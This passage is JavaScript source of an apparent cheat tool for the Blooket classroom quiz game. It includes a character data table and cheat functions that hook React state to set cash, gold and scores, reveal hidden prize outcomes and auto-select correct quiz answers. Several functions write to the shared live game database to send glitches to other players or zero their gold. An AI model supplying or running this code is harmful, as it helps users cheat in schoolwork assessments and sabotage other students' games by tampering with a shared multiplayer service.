rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }];
1833
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1834
const blook = blooks.find(function ({ name }) { return name.toLowerCase() == this }, prompt("Enter blook name:").toLowerCase());
1835
if (blook) {
1836
if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace");
1837
stateNode.chooseBlook(blook);
1838
}
1839
else alert("That is not a valid blook!");
1840
}
1841
},
1842
{
1843
name: "Free Upgrades",
1844
description: "Sets upgrade prices to 0 for all current blooks",
1845
run: function () {
1846
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1847
stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) }));
1848
}
1849
},
1850
{
1851
name: "Max Blooks",
1852
description: "Maxes out all your blooks' levels",
1853
run: function () {
1854
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4);
1855
}
1856
},
1857
{
1858
name: "Remove Glitches",
1859
description: "Removes all enemy glitches",
1860
run: function () {
1861
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1862
stateNode.setState({
1863
bits: 0,
1864
ads: [],
1865
hazards: [],
1866
color: "",
1867
lol: false,
1868
joke: false,
1869
slow: false,
1870
dance: false,
1871
glitch: "",
1872
glitcherName: "",
1873
glitcherBlook: ""
1874
});
1875
clearTimeout(stateNode.adTimeout);
1876
clearInterval(stateNode.hazardInterval);
1877
clearTimeout(stateNode.nightTimeout);
1878
clearTimeout(stateNode.glitchTimeout);
1879
clearTimeout(stateNode.lolTimeout);
1880
clearTimeout(stateNode.jokeTimeout);
1881
clearTimeout(stateNode.slowTimeout);
1882
clearTimeout(stateNode.danceTimeout);
1883
clearTimeout(stateNode.nameTimeout);
1884
}
1885
},
1886
{
1887
name: "Send Glitch",
1888
description: "Sends a glitch to everyone else playing",
1889
run: function () {
1890
let i = document.createElement('iframe');
1891
document.body.append(i);
1892
window.alert = i.contentWindow.alert.bind(window);
1893
i.remove();
1894
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1895
let glitches = { lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" };
1896
let val = Object.keys(glitches)[Math.floor(Math.random() * Object.keys(glitches).length)];
1897
stateNode.safe = true;
1898
stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val });
1899
alert(`Sent a ${glitches[val]} glitch`);
1900
}
1901
},
1902
{
1903
name: "Set All MegaBot",
1904
description: "Sets all your blooks to maxed out Mega Bots",
1905
run: function () {
1906
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({
1907
blooks: new Array(10).fill({
1908
name: "Mega Bot",
1909
color: "#d71f27",
1910
class: "🤖",
1911
rarity: "Legendary",
1912
cash: [8e4, 43e4, 42e5, 62e6, 1e9],
1913
time: [5, 5, 3, 3, 3],
1914
price: [7e6, 12e7, 19e8, 35e9],
1915
active: false,
1916
level: 4,
1917
bonus: 5.5
1918
})
1919
});
1920
}
1921
},
1922
{
1923
name: "Set Cash",
1924
description: "Sets amount of cash you have",
1925
run: function () {
1926
let i = document.createElement('iframe');
1927
document.body.append(i);
1928
window.prompt = i.contentWindow.prompt.bind(window);
1929
i.remove();
1930
let cash = Number(parseInt(prompt("How much cash would you like?")));
1931
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1932
stateNode.setState({ cash });
1933
}
1934
}
1935
],
1936
fishing: [
1937
{
1938
name: "Frenzy",
1939
description: "Sets everyone to frenzy mode",
1940
run: function () {
1941
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1942
stateNode.props.liveGameController.setVal({
1943
path: `c/${stateNode.props.client.name}`,
1944
val: {
1945
b: stateNode.props.client.blook,
1946
w: stateNode.state.weight,
1947
f: "Frenzy",
1948
s: true
1949
}
1950
})
1951
}
1952
},
1953
{
1954
name: "Remove Distractions",
1955
description: "Removes distractions",
1956
type: "toggle",
1957
enabled: false,
1958
data: null,
1959
run: function () {
1960
if (!this.enabled) {
1961
this.enabled = true;
1962
this.data = setInterval(() => {
1963
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ party: "" });
1964
}, 50);
1965
} else {
1966
this.enabled = false;
1967
clearInterval(this.data);
1968
this.data = null;
1969
}
1970
}
1971
},
1972
{
1973
name: "Send Distraction",
1974
description: "Sends a distraction to everyone",
1975
run: function () {
1976
let i = document.createElement('iframe');
1977
document.body.append(i);
1978
window.alert = i.contentWindow.alert.bind(window);
1979
i.remove();
1980
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1981
const f = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)];
1982
stateNode.safe = true;
1983
stateNode.props.liveGameController.setVal({
1984
path: `c/${stateNode.props.client.name}`,
1985
val: {
1986
b: stateNode.props.client.blook,
1987
w: stateNode.state.weight, f, s: true
1988
}
1989
});
1990
alert(`Sent a ${f} distraction`);
1991
}
1992
},
1993
{
1994
name: "Set Lure",
1995
description: "Sets fishing lure (range 1 - 5)",
1996
run: function () {
1997
let i = document.createElement('iframe');
1998
document.body.append(i);
1999
window.prompt = i.contentWindow.prompt.bind(window);
2000
i.remove();
2001
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0) });
2002
}
2003
},
2004
{
2005
name: "Set Weight",
2006
description: "Sets weight",
2007
run: function () {
2008
let i = document.createElement('iframe');
2009
document.body.append(i);
2010
window.prompt = i.contentWindow.prompt.bind(window);
2011
i.remove();
2012
let weight = Number(parseInt(prompt("How much weight would you like?")));
2013
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2014
stateNode.setState({ weight, weight2: weight });
2015
stateNode.props.liveGameController.setVal({
2016
path: `c/${stateNode.props.client.name}`,
2017
val: {
2018
b: stateNode.props.client.blook,
2019
w: weight,
2020
f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)]
2021
}
2022
});
2023
}
2024
}
2025
],
2026
flappy: [
2027
{
2028
name: "Toggle Ghost",
2029
description: "Lets you go through the pipes",
2030
type: "toggle",
2031
enabled: false,
2032
run: function () {
2033
this.enabled = !this.enabled;
2034
Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && (x.checkCollision.none = this.enabled, x.gameObject.setAlpha(this.enabled ? 0.5 : 1)));
2035
}
2036
},
2037
{
2038
name: "Set Score",
2039
description: "Sets flappy blook score",
2040
run: function () {
2041
let i = document.createElement('iframe');
2042
document.body.append(i);
2043
window.prompt = i.contentWindow.prompt.bind(window);
2044
i.remove();
2045
Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score: parseFloat("0" + prompt("What do you want to set your score to?")) });
2046
}
2047
}
2048
],
2049
gold: [
2050
{
2051
name: "Always Triple",
2052
description: "Always get triple gold",
2053
type: "toggle",
2054
enabled: false,
2055
data: null,
2056
run: function () {
2057
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2058
stateNode._choosePrize ||= stateNode.choosePrize;
2059
if (!this.enabled) {
2060
this.enabled = true;
2061
this.data = setInterval(() => {
2062
stateNode.choosePrize = function (i) {
2063
stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" };
2064
stateNode._choosePrize(i);
2065
}
2066
}, 50);
2067
} else {
2068
this.enabled = false;
2069
clearInterval(this.data);
2070
this.data = null;
2071
stateNode.choosePrize = stateNode._choosePrize || stateNode.choosePrize;
2072
}
2073
}
2074
},
2075
{
2076
name: "Auto Choose",
2077
description: "Automatically picks the option that would give you the most gold",
2078
type: "toggle",
2079
enabled: false,
2080
data: null,
2081
run: function () {
2082
if (!this.enabled) {
2083
this.enabled = true;
2084
this.data = setInterval(async () => {
2085
try {
2086
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2087
if (stateNode.state.stage === "prize") {
2088
const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0;
2089
let max = 0; index = -1;
2090
for (let i = 0; i < stateNode.state.choices.length; i++) {
2091
const { type, val } = stateNode.state.choices[i];
2092
let value = stateNode.state.gold;
2093
switch (type) {
2094
case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break;
2095
case "multiply":
2096
case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break;
2097
case "swap": value = players || stateNode.state.gold;
2098
case "take": value = stateNode.state.gold + players * val || stateNode.state.gold;
2099
}
2100
if ((value || 0) <= max) continue;
2101
max = value, index = i + 1;
2102
}
2103
document.querySelector(`div[class^='styles__choice${index}']`).click();
2104
}
2105
} catch { }
2106
}, 50);
2107
} else {
2108
this.enabled = false;
2109
clearInterval(this.data);
2110
this.data = null;
2111
}
2112
}
2113
},
2114
{
2115
name: "Chest ESP",
2116
description: "Shows what each chest will give you",
2117
type: "toggle",
2118
enabled: false,
2119
data: null,
2120
run: function () {
2121
if (!this.enabled) {
2122
this.enabled = true;
2123
this.data = setInterval(() => {
2124
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.choices.forEach(({ text }, index) => {
2125
let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`);
2126
if (!chest || chest.querySelector('div')) return;
2127
let choice = document.createElement('div');
2128
choice.style.color = "white";
2129
choice.style.fontFamily = "Eczar";
2130
choice.style.fontSize = "2em";
2131
choice.style.display = "flex";
2132
choice.style.justifyContent = "center";
2133
choice.style.transform = "translateY(200px)";
2134
choice.innerText = text;
2135
chest.append(choice);
2136
});
2137
}, 50);
2138
} else {
2139
this.enabled = false;
2140
clearInterval(this.data);
2141
this.data = null;
2142
}
2143
}
2144
},
2145
{
2146
name: "Reset Players Gold",
2147
description: "Sets a player's gold to 0",
2148
run: function () {
2149
let i = document.createElement('iframe');
2150
document.body.append(i);
2151
window.prompt = i.contentWindow.prompt.bind(window);
2152
i.remove();
2153
let player = prompt("Who's gold would you like to reset?");
2154
let { stateNode: { props, state } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2155
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
2156
if (players && Object.keys(players).map(x => x.toLowerCase()).includes(player.toLowerCase())) props.liveGameController.setVal({
2157
path: "c/".concat(props.client.name),
2158
val: {
2159
b: props.client.blook,
2160
g: state.gold,
2161
tat: `${player}:swap:0`
2162
}
2163
});
2164
})
2165
}
2166
},
2167
{
2168
name: "Set Gold",
2169
description: "Sets amount of gold",
2170
run: function () {
2171
let i = document.createElement('iframe');
2172
document.body.append(i);
2173
window.prompt = i.contentWindow.prompt.bind(window);
2174
i.remove();
2175
let gold = Number(parseInt(prompt("How much gold would you like?")));
2176
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2177
stateNode.setState({ gold, gold2: gold });
2178
stateNode.props.liveGameController.setVal({
2179
path: "c/".concat(stateNode.props.client.name),
2180
val: {
2181
b: stateNode.props.client.blook,
2182
g: gold
2183
}
2184
});
2185
}
2186
},
2187
{
2188
name: "Swap Gold",
2189
description: "Swaps gold with someone",
2190
run: function () {
2191
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2192
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
2193
stateNode.setState({
2194
players: (players ? Object.entries(players).map(([name, { b, g }]) => ({
2195
name, blook: b, gold: g || 0
2196
})).filter((e) => e.name != stateNode.props.client.name).sort(({ gold }, { gold: gold2 }) => gold2 - gold) : []),
2197
ready: true,
2198
phaseTwo: true,
2199
stage: "prize",
2200
choiceObj: { type: "swap" }
2201
});
2202
});
2203
}
2204
},
2205
{
2206
name: "Reset All Players' Gold",
2207
description: "Set's everyone else's gold to 0",
2208
run: function () {
2209
let i = document.createElement('iframe');
2210
document.body.append(i);
2211
window.alert = i.contentWindow.alert.bind(window);
2212
i.remove();
2213
let { stateNode: { props, state } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2214
let count = 0;
2215
props.liveGameController.getDatabaseVal("c", async (players) => {
2216
if (players) for (const player of Object.keys(players)) {
2217
props.liveGameController.setVal({
2218
path: "c/".concat(props.client.name),
2219
val: {
2220
b: props.client.blook,
2221
g: state.gold,
2222
tat: `${player}:swap:0`
2223
}
2224
});
2225
count++;
2226
await new Promise(r => setTimeout(r, 4000));
2227
}
2228
alert(`Reset ${count} players' gold!`);
2229
})
2230
}
2231
}
2232
],
2233
kingdom: [
2234
{
2235
name: "Choice ESP",
2236
description: "Shows you what will happen if you say Yes or No",
2237
type: "toggle",
2238
enabled: false,
2239
data: null,
2240
run: function () {
2241
if (!this.enabled) {
2242
this.enabled = true;
2243
let stats = ['materials', 'people', 'happiness', 'gold'];
2244
let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container]));
2245
this.data = setInterval(() => {
2246
let { guest: data, phase } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state;
2247
if (phase == "choice") {
2248
Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove());
2249
Object.entries(data.yes || {}).forEach(x => {
2250
if (x[0] == 'msg' || !stats.includes(x[0])) return;
2251
let element = document.createElement('div');
2252
element.className = 'choiceESP';
2253
element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;';
2254
element.innerText = String(x[1])
2255
elements[x[0]].appendChild(element);
2256
})
2257
Object.entries(data.no || {}).forEach(x => {
2258
if (x[0] == 'msg' || !stats.includes(x[0])) return;
2259
let element = document.createElement('div');
2260
element.className = 'choiceESP';
2261
element.style = 'font-size: 24px; color: darkred; font-weight: bolder;';
2262
element.innerText = String(x[1])
2263
elements[x[0]].appendChild(element);
2264
})
2265
}
2266
}, 50);
2267
} else {
2268
this.enabled = false;
2269
clearInterval(this.data);
2270
Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove());
2271
this.data = null;
2272
}
2273
}
2274
},
2275
{
2276
name: "Disable Tax Toucan",
2277
description: "Tax evasion",
2278
run: function () {
2279
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE;
2280
}
2281
},
2282
{
2283
name: "Max Stats",
2284
description: "Sets all resources to the max",
2285
run: function () {
2286
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 });
2287
}
2288
},
2289
{
2290
name: "Set Guests",
2291
description: "Sets the amount of guests you've seen",
2292
run: function () {
2293
let i = document.createElement('iframe');
2294
document.body.append(i);
2295
window.prompt = i.contentWindow.prompt.bind(window);
2296
i.remove();
2297
let guestScore = Number(parseInt(prompt("How many guests do you want?")));
2298
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ guestScore });
2299
}
2300
},
2301
{
2302
name: "Skip Guest",
2303
description: "Skips the current guest",
2304
run: function () {
2305
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.nextGuest();
2306
}
2307
}
2308
],
2309
racing: [{
2310
name: "Instant Win",
2311
description: "Instantly Wins the race",
2312
run: function () {
2313
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2314
stateNode.setState({ progress: stateNode.state.goalAmount }, () => {
2315
const { state: { question } } = stateNode;
2316
try {
2317
[...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
2318
} catch { }
2319
});
2320
}
2321
}],
2322
royale: [
2323
{
2324
name: "Auto Answer (Toggle)",
2325
description: "Toggles auto answer on",
2326
type: "toggle",
2327
enabled: false,
2328
data: null,
2329
run: function () {
2330
if (!this.enabled) {
2331
this.enabled = true;
2332
this.data = setInterval(() => {
2333
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2334
stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]);
2335
}, 50);
2336
} else {
2337
this.enabled = false;
2338
clearInterval(this.data);
2339
this.data = null;
2340
}
2341
}
2342
},
2343
{
2344
name: "Auto Answer",
2345
description: "Chooses the correct answer for you",
2346
